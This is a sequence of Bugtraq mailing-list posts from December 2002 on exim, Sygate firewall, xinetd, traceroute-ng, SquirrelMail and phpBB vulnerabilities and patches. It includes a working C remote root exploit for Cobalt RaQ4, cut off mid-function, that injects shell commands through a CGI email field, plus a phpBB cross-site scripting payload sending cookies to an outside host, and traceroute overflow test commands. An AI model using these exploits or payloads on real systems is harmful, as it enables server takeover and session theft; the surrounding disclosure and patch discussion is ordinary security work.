Re: Local root vulnerability found in exim 4.x (and 3.x)
[Bugtraq moderator: Please approve this post rather than my previous one. The archive link in that post munges the patches. Thanks] On Wed, Dec 04, 2002 at 04:40:29PM +0100, Wana Thomas <[EMAIL PROTECTED]> is thought to have said: > Solution > > > Exim developers have been informed and a patch will be > ready shortly. Philip Hazel, the author of Exim, released patches for 4.10 and 3.36 on the exim-users list earlier today. Further details on the vulnerability and the patches for both versions can be found in the list archives below: http://www.exim.org/pipermail/exim-users/Week-of-Mon-20021202/046978.html -- Tabor J. Wells [EMAIL PROTECTED] Fsck It! Just another victim of the ambient morality
Re: Local root vulnerability found in exim 4.x (and 3.x)
On Wed, Dec 04, 2002 at 04:40:29PM +0100, Wana Thomas <[EMAIL PROTECTED]> is thought to have said: > Solution > > > Exim developers have been informed and a patch will be > ready shortly. Philip Hazel, the author of Exim, released patches for 4.10 and 3.36 on the exim-users list earlier today. Further details on the vulnerability and the patches for both versions can be found in the list archives below: http://groups.yahoo.com/group/exim-users/message/42358 -- Tabor J. Wells [EMAIL PROTECTED] Fsck It! Just another victim of the ambient morality
RE: Sygate Personal Firewall can be shut down without a need to supply
Hello Seth, Thanks for taking the time to comment about this issue. 1. As you may noticed, I used the term "privileged users". Stopping service is enabled for the members of the local power users as well, so the problem range is wider. 2. I will sharpen my point: You are absolutely correct about the fact that local admins can stop services. If you will see in my note, I wrote: " Privileged users CAN START the procedure of stopping the service - BUT, the application vendor CAN (as part of the overall procedures performed when an application is being shut down) place a code section that forces a password prompt at the beginning of the stopping process and if the password is wrong - to stop the stopping process. " I ask you this: Do you claim that what I wrote is technically wrong and it can't be done by sygate? If this is the claim and it is technically true (I'm not a developer, but a system admin) - I redraw my claims and ask for your forgiveness. If you are not able to claim this - then Sygate has just overlooked this problem and didn't close this breach. 3. Let's be accurate here: YOU added, in your email, the words "non-administrator". I never claimed the "password for exit" is meant only for "non-administrator" users. Neither did Sygate!!!- I have seen the help for the product on your web site - and the password feature was not even mentioned by text or in the screen shot of the "general" tab!!! Probably the help pages was not so updated... A false sense of security is certainly a vulnerability. )The above section of the email was written before re-visiting the help web pages of the product. The following section was written after a re-visit) NOW, I have just re-visited the help pages and I must say I'm shocked!!! Just a day or two ago I visited the web help for the product and the section describing the "general" tab showed a screen shot of an earlier version of the product and the whole "password protection" section was missing from the picture!!! And of course there was no explanation about this feature!!! When I entered NOW to the same page ( http://soho.sygate.com/support/documents/spf_help/general_tab.htm ) - Suddenly the screen shot is showing the "password protection" feature and there is even an explanation to the feature. But that's not all - here comes the best: The screen shot shows that the "ask password while exiting" is dimmed and can't be chosen and the password description is not explaining about this check box at all!!! Beside the fact that this is not the actual current application behavior but only a specially crafted form - what you are doing by this is arrogantly covering your blame!!! I can't express my absolute rejection feelings towards this act! Security is first of all credibility - and as far as my concern: You just lost it! Eitan Caspi Israel -Original Message- From: Seth Knox [mailto:[EMAIL PROTECTED]] Sent: Thursday, December 05, 2002 8:14 PM To: '[EMAIL PROTECTED]' Cc: '[EMAIL PROTECTED]' Subject: Sygate Personal Firewall can be shut down without a need to supply If you are an Administrator of a computer, you have the absolute right to stop any service, including the Sygate Personal Firewall Service, using the services window or "net stop" command. This is not a vulnerability but rather the intended implementation of the Microsoft operating system. If the administrator of the computer wants to prevent other users from stopping the Sygate Personal Firewall Service, they should not grant that right to other users. As you mentioned in your email, Sygate Personal Firewall has the option to prevent any non-administrator from exiting the firewall or stopping the application from the task menu without a password. In enterprise and government organizations, Sygate Secure Enterprise initiates a challenge/response enforcement protocol that ensures that Sygate Security Agent, as well as third-party applications, are running and up-to-date before any system can connect to the network. Seth Knox Product Manager Sygate Technologies
Sygate Personal Firewall can be shut down without a need to supply
If you are an Administrator of a computer, you have the absolute right to stop any service, including the Sygate Personal Firewall Service, using the services window or "net stop" command. This is not a vulnerability but rather the intended implementation of the Microsoft operating system. If the administrator of the computer wants to prevent other users from stopping the Sygate Personal Firewall Service, they should not grant that right to other users. As you mentioned in your email, Sygate Personal Firewall has the option to prevent any non-administrator from exiting the firewall or stopping the application from the task menu without a password. In enterprise and government organizations, Sygate Secure Enterprise initiates a challenge/response enforcement protocol that ensures that Sygate Security Agent, as well as third-party applications, are running and up-to-date before any system can connect to the network. Seth Knox Product Manager Sygate Technologies -- Forwarded message -- Date: Wed, 4 Dec 2002 22:59:12 +0200 From: Eitan Caspi <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] Subject: Sygate Personal Firewall can be shut down without a need to supply a password - although one is required Tested and affected software: Sygate Personal Firewall 5.0 build 1150s (The free version) installed on Windows XP Pro with SP1 Summary: Sygate personal firewall has an option to ask for a password before entering various sections of the application or making some actions (like moving between protection levels (block all / allow all / normal)). It also has the option to force entering the same password for anyone wishing to exit the Firewall. This password is not asked for (i.e. no password prompt is showing) when any local or remote user that have the right to stop services (e.g. member of the local "Administrators" and "Power Users" groups) is stopping the "Sygate Personal Firewall" service on the target machine. The service simply stops completely and silently - and thus closes the firewall completely and leaves the machine without FW and / or IDS protection. It is true that highly privileged users have the ability to fully control any machine they are privileged on - but there may be situations where a machine will have several privileged users but only one will be assigned to control the machine's FW (e.g. a developer and a system administrator). Privileged users CAN START the procedure of stopping the service - BUT, the application vendor CAN (as part of the overall procedures performed when an application is being shut down) place a code section that forces a password prompt at the beginning of the stopping process and if the password is wrong - to stop the stopping process. Reproduction: WARNING: For Maximum security - disconnect from the Internet and / or any other possibly hostile networks BEFORE performing this steps, since this steps will cause your machine to be un-protected from any networked hostile activity !!! A. Preparation 1. Log on to the machine (Windows XP Pro with SP1) as a local administrator 2. Make sure you have Sygate Personal Firewall 5.0 build 1150s installed and running 3. Open Sygate Personal Firewall (Following SPF) main interface 4. Choose the command "Options..." from the "Tools" menu 5. Click the "Set Password..." button in the "General" tab 6. Enter the new password as asked for. Click the "OK" button 7. Check the "Ask password while existing" check box 8. Click the "OK" button of the whole "Options" form 9. Close SPF main interface B. Current stoppage protection measures that are working properly: 1. If you try, as a local administrator, to kill smc.exe (SPF service executable) from the "task manager" - it won't be killed. If you are running XP in a "Fast User Switching" mode there may be two (or more) instances of smc.exe: one that runs under user name of "system" which is the one loaded by the service - this one will not be killed. The other one will run under the user name of a logged on user and this one CAN be killed (i.e. the task bar icon will be gone and so is the GUI application, but the service (as noted above) will still run and protect the machine). 2. If you try, as a local administrator to kill smc.exe from the command line using the win2k resource kit tool "kill.exe" - it won't be killed. When running "kill.exe" in a command prompt (cmd.exe) the command will return a message that the process was killed, but checking the list of processes in the processes tab at the "task manager" will show that "smc.exe" is still running. C. Testing the basic "Ask password while existing" feature: 1. Try to exit SPF by doing a right mouse click on the SPF icon on the task bar and choosing "Exit Firewall" 2. A prompt for a password appears 3. Enter the password and click "OK" 4. Click "Yes" at the warning dialog box 5. SPF will exit and its icon will be gone D. Vulnerability Reproduction =A0 1. Start SPF by
Re: [Fwd: [RHSA-2002:196-09] Updated xinetd packages fix denial ofservice vulnerability]
On 4 Dec 2002, Dan Rowles wrote: > On October 15th, Redhat sent a post to BugTraq advising users of Xinetd > to upgrade to 2.3.9-0.xx > > Their latest post (3rd December) advises people to "upgrade" to > 2.3.7-4.xx > > Can anyone from RedHat please comment on what people who have already > got 2.3.9 installed should do from here? Do we need to force a > downgrade, or is 2.3.9 OK? If so, why the second update, and why has the > 2.3.9 RPM disappeared from the mirrors? I'm not from Red Hat, but I can answer your questions. This confused me, too, until I did some digging in Red Hat's bugzilla. Red Hat is using the "epoch" field in the RPM metadata to allow you to automatically "upgrade" (or freshen) from 2.3.9 (epoch 1) back to 2.3.7 (epoch 2). They rolled back to 2.3.7 because 2.3.9 was leaving stale TCP connections in the CLOSE_WAIT state, according to their bugzilla database: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=76146 for more info. Ryan Cleary SysAdmin Interdimenions Corp. -- T Ryan Cleary <[EMAIL PROTECTED]> URL: http://people.interdimensions.com/tryanc PGP: 82 93 32 D7 3A AC C0 8D 34 56 96 CC DA DB 5E 2B
Re: TracerouteNG - never ending story
> Hi everyone,
Hi.
> I want to provide some additional information about the recently
> discovered traceroute-ng flaw. I decided to disclose to details right
> now because I do not believe that the flaw is easily exploitable.
>
>
> 1) The vulnerablilty.
>
> The patch provided by vendors like SuSE is not sufficient. It only
> closed one of at least 3 different holes.
Ok, let's see...
> Hole #1 : (closed in the recent patch)
> --
As you already said: It's fixed.
thomas@Wintermute:~> /usr/sbin/traceroute -P -q 1 -n $(perl -e
'print"0"x13000')127.0.0.1
traceroute to 000
(87.0.0.1), 30 hops max, 40 byte packets
1 172.16.0.1 1 ms
2 145.253.1.203 21 ms
3 145.253.16.65 29 ms
4 145.254.12.13 38 ms
5 145.254.12.53 46 ms
thomas@Wintermute:~>
> Hole #2 :
> -
>
> (gdb) r -P -q 1 -n -S -99 -m 0 localhost
It's fixed now.
> Hole #3:
>
>
> Just run with the following arguments:
>
> (gdb) r -P -q 999 -n localhost
Does not seem to work.
thomas@Wintermute:~> /usr/sbin/traceroute -P -q 999 -n localhost
nprobes must be >0 and <= 256
thomas@Wintermute:~>
> So one can overwrite consecutive memory blocks of type
>
> struct {
> u_long dport; /* check for matching dport */
> u_char ttl;/* ttl we sent it to */
> u_char type; /* icmp response type */
> struct timeval out;/* time packet left */
> struct timeval rtn;/* time packet arrived */
> struct sockaddr_in from; /* whom from */
> } spray
>
> starting at the address of 'spray' (which is again located in the heap)
> with the values stored in out, dport, ttl. So far I looked at this,
> nothing really sensefull can be overwritten this way. Two candidates are:
>
> [a] the socket descriptor s, which is later used by FD_SET (instant
> memory writer... :-)
The only FD_SET() I found:
FD_SET(sock, &fds);
Socket s occurs here:
s = socket(AF_INET, SOCK_RAW, pe->p_proto) // ICMP socket
and here:
s = socket(hp->h_addrtype, SOCK_STREAM, 0)
So, can you be more precise on this?
> - (un)fortunately the system time is stored in s by
> overflowing the spray array :-)
?
> Summary
> ---
>
> The are still vulnerabilities in the traceroute-ng package which may
> lead to a local root compromise, depending on the actual OS running on.
traceroute-nanog drops root privileges right after allocating the raw ip-
and the raw icmp-socket. So, the attacker does not get root privileges.
> Anyway, in my opinion the code of traceroute-ng breaks with many
> fundamental secure coding practices, it is hard to believe that such
> crap has been included on major distributions carrying the suid bit.
It uses setuid() and isn't shipped anymore since 8.1.
---
And now the things Carl Livitt <[EMAIL PROTECTED]> founds.
> while ((n = read(s, buf, sizeof(buf))) > 0) {
>strcpy((char *)&reply[count],(char *)buf);
>count += n;
>}
This one is already fixed.
> strncpy(tmp4,i,(j-i)); // OVERFLOW
> tmp4[j-i] = '\0';
This buffer overflow was already found by Sebastian Krahmer
<[EMAIL PROTECTED]>. The fix is included in the upcoming traceroute-nanog
security update.
Bye,
Thomas
--
Thomas Biege <[EMAIL PROTECTED]>
SuSE Linux AG,Deutschherrnstr. 15-19,90429 Nuernberg
Function: Security Support & Auditing
"lynx -source http://www.suse.de/~thomas/contact/thomas.asc | pgp -fka"
Key fingerprint = 51 AD B9 C7 34 FC F2 54 01 4A 1C D4 66 64 09 83
--
Over thinking, Over analyzing, seperates the body from the mind.
- Maynard James Keenan
Cobalt RaQ4 Remote root exploit
Hello,
I've attached an exploit that will allow an attacker to gain remote
root access on Cobalt RaQ's which have the security hardening package
installed (SHP).
the official patch for this problem can be found here :
http://ftp.cobalt.sun.com/pub/packages/raq4/eng/RaQ4-en-Security-2.0.1-SHP_REM.pkg
Wouter ter Maat aka [EMAIL PROTECTED]
http://www.i-security.nl
// RaQ 4 and possibly others easy remote root compromise
// due to a flaw in the Security Hardening package HEHE!
// Wouter ter Maat aka grazer - http://www.i-security.nl
#include
#include
#include
#include
#include
#include
#include
#define PORT 81 /* default cobalt admin httpd
try 444 if 81 runs with ssl */
// cmpstr
#define found "overflow"
#define done "Starting"
#define exec "mail"
// prototypes
int banner();
int makereq(char *host, char *request, char *cmpstr, int port);
int main(int argc, char *argv[]) {
int retval, port;
char cmd[1024];
char cbuf[1024];
char request2[3096];
// evi1 requests
char request1[] = "\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e"
"\x63\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f"
"\x77\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2e\x63\x67\x69"
"\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\n\x48\x6f\x73"
"\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\n\n\n";
char req_tmp[] = "\x50\x4f\x53\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e"
"\x63\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77"
"\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2e\x63\x67\x69\x20\x48"
"\x54\x54\x50\x2f\x31\x2e\x31\n\x41\x63\x63\x65\x70\x74\x3a\x20"
"\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69\x6d\x61\x67"
"\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20\x69\x6d"
"\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65"
"\x2f\x70\x6a\x70\x65\x67\x2c\x20\x2a\x2f\x2a\n\x41\x63\x63"
"\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x6e\x6c\n"
"\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61"
"\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77"
"\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64"
"\x65\x64\n\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64"
"\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c"
"\x61\x74\x65\n\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20"
"\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x3b\x29\n"
"\x48\x6f\x73\x74\x3a\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"
"\x3a\x38\x31\n";
char request3[] = "\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e\x63"
"\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2f"
"\x6f\x76\x65\x72\x66\x6c\x6f\x77\x54\x65\x73\x74\x45\x6d\x61"
"\x69\x6c\x2e\x63\x67\x69\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\n"
"\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\n\n\n";
sprintf(cmd, "%s%s%s", "enabled=1&email=`", argv[2], "`&page=overflow\n\n");
sprintf(cbuf, "%s %d %s", "Content-Length:", strlen(cmd)-2, "\n\n");
sprintf(request2, "%s%s%s", req_tmp, cbuf, cmd);
banner();
while(argc < 3) {
fprintf(stderr, " %s\n", argv[0]);
fprintf(stderr, " example: www.cobalt.com \"id|mail you@addy\" 444\n");
fprintf(stderr, " default port is set to 81. \n\n");
exit(0); }
if(argc==3) {
port = PORT; }
else {
port = atoi(argv[3]); }
retval = makereq(argv[1], request1, found, port);
if(retval==2) {
printf(" - name cannot be resolved!\n");
exit(0); } if(retval==3) {
printf(" - connect: connection refused! d0h!\n");
exit(0); }
if(retval==404) {
printf(" - this machine is not vulnerable, dweep!\n");
exit(0); }
else {
printf(" + ow yeah, we've found a victim!\n"); }
printf(" ++ Enabling stackguard and creating evil config file...\n");
retval = makereq(argv[1], request2, done, port);
if(retval==404) {
printf(" -- attack failed , sorry! \n");
exit(0);}
else {
printf(" +++ config file written succesfully ! \n"); }
printf(" Let's get our evil command executed...\n");
retval = makereq(argv[1], request3, exec, port);
if(retval==404) {
printf(" --- attack failed, sorry! \n");
exit(0);}
else {
printf(" + The command : \"%s\"\n + has been run on the server.\n\n", argv[2]); }
}
int banner() {
printf("*\n");
printf("RaQ 4 remote root exploit - [EMAIL PROTECTED]\n");
printf("Vulnerable : RaQ4 with Security Hardening Update.\n");
printf(" isn't it ironic? :] \n");
printf("*\n"); }
int makereq(char *host, char *request, char *cmpstr, int port) {
int fd, sock, chk;
char buf[2000];
struct sockaddr_in addr;
struct hostent *lh;
if ((lh=gethostbyname(host)) == NULL){
return 2;
[Fwd: [RHSA-2002:196-09] Updated xinetd packages fix denial ofservice vulnerability]
On October 15th, Redhat sent a post to BugTraq advising users of Xinetd to upgrade to 2.3.9-0.xx Their latest post (3rd December) advises people to "upgrade" to 2.3.7-4.xx Can anyone from RedHat please comment on what people who have already got 2.3.9 installed should do from here? Do we need to force a downgrade, or is 2.3.9 OK? If so, why the second update, and why has the 2.3.9 RPM disappeared from the mirrors? -- Dan Rowles CTO Outcome Technologies _ t: +44 (0)207 656 2460 f: +44 (0)709 230 6588 m: +44 (0)798 076 8143 e: [EMAIL PROTECTED] w: http://www.outcometechnologies.com BUPA House 15-19 Bloomsbury Way London WC1A 2BA _ ***This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you receive this message in error, please return it to the sender.*** --- Begin Message --- - Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated xinetd packages fix denial of service vulnerability Advisory ID: RHSA-2002:196-09 Issue date:2002-09-06 Updated on:2002-10-14 Product: Red Hat Linux Keywords: xinetd file descriptor leak Cross references: Obsoletes: CVE Names: CAN-2002-0871 - 1. Topic: Xinetd contains a denial-of-service (DoS) vulnerability. 2. Relevant releases/architectures: Red Hat Linux 7.0 - alpha, i386 Red Hat Linux 7.1 - alpha, i386, ia64 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 3. Problem description: Xinetd is a secure replacement for inetd, the Internet services daemon. Versions 2.3.4 through 2.3.7 of Xinetd leak file descriptors for the signal pipe to services that are launched by xinetd. This could allow an attacker to execute a DoS attack via the pipe. Red Hat Linux 7.3 shipped with xinetd version 2.3.4 and is therefore vulnerable to this issue. All users are advised to upgrade to the errata packages containing xinetd version 2.3.9 which is not vulnerable to this issue. This issue was discovered by Solar Designer. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/xinetd-2.3.9-0.70.src.rpm alpha: ftp://updates.redhat.com/7.0/en/os/alpha/xinetd-2.3.9-0.70.alpha.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/xinetd-2.3.9-0.70.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/xinetd-2.3.9-0.71.src.rpm alpha: ftp://updates.redhat.com/7.1/en/os/alpha/xinetd-2.3.9-0.71.alpha.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/xinetd-2.3.9-0.71.i386.rpm ia64: ftp://updates.redhat.com/7.1/en/os/ia64/xinetd-2.3.9-0.71.ia64.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/xinetd-2.3.9-0.72.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/xinetd-2.3.9-0.72.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/xinetd-2.3.9-0.72.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/xinetd-2.3.9-0.73.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/xinetd-2.3.9-0.73.i386.rpm 6. Verification: MD5 sum Package Name -- 8c6ac9eda0398dcd94bca0381ac03026 7.0/en/os/SRPMS/xinetd-2.3.9-0.70.src.rpm eba55ee2c7f1008f216a520044ccb15d 7.0/en/os/alpha/xinetd-2.3.9-0.70.alpha.rpm 68c73e5047b4038147cc93db1d2a3585 7.0/en/os/i386/xinetd-2.3.9-0.70.i386.rpm 621d5914e49a9ad6b61fc185c194de62 7.1/en/os/SRPMS/xinetd-2.3.9-0.71.src.rpm 36b905178ce4485f17a5bf5851f4f867 7.1/en/os/alpha/xinetd-2.3.9-0.71.alpha.rpm c8b4f5b662351972f1502c929154925c 7.1/en/os/i386/xinetd-2.3.9-0.71.i386.rpm e26bdae93d1adcb72bb73c5e9d79d3f0 7.1/en/os/ia64/xinetd-2.3.9-0.71.ia64.rpm a3e5cbc60ca4ca0c5396d77e179adef5 7.2/en/os/SRPMS/xinetd-2.3.9-0.72.src.rpm f1bc1eefa580f873011821d0b50da5d6 7.2/en/os/i386/xinetd-2.3.9-0.72.i386.rpm 3051f3f4b9b6df880e3e8bc101fa36b9 7.2/en/os/ia64
Re: SquirrelMail v1.2.9 XSS bugs
Hello Euronymous, On Monday, December 02, 2002, euronymous wrote... > topic: SquirrelMail v1.2.9 XSS bugs > product: SquirrelMail v1.2.9 > vendor: www.squirrelmail.org > risk: low > date: 12/3/2k2 > discovered by: euronymous /F0KP /HACKRU Team > advisory url: http://f0kp.iplus.ru/bz/008.txt > =:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::= > description > --- > when reading some email you can to insert the scripting code.. > read_body.php dont make filtering users input in `mailbox' and > `passed_id' variables. btw, today has released v1.2.10. im dont > know if this version contains this xss. > [snip] Thank you for pointing this out. We would have been a lot more grateful if you had notified us of this issue prior to releasing the bugtraq posting, and it would have been fixed in our 1.2.10 release, which as you pointed out was released just yesterday. The lack of forward notification is frustrating, and it would have been nice to have heard earlier. Next time any issues such as this arise, please feel free to contact the project administrators/leaders (such as myself), which can all be found listed on http://www.squirrelmail.org/about.php. -- Jonathan Angliss ([EMAIL PROTECTED])
Cross-site Scripting Vulnerability in phpBB 2.0.3
Hello :) here is the code http://target/search.php?mode=searchuser";> search.search_username.value='Http://savecookie/x.php?Cookie=";>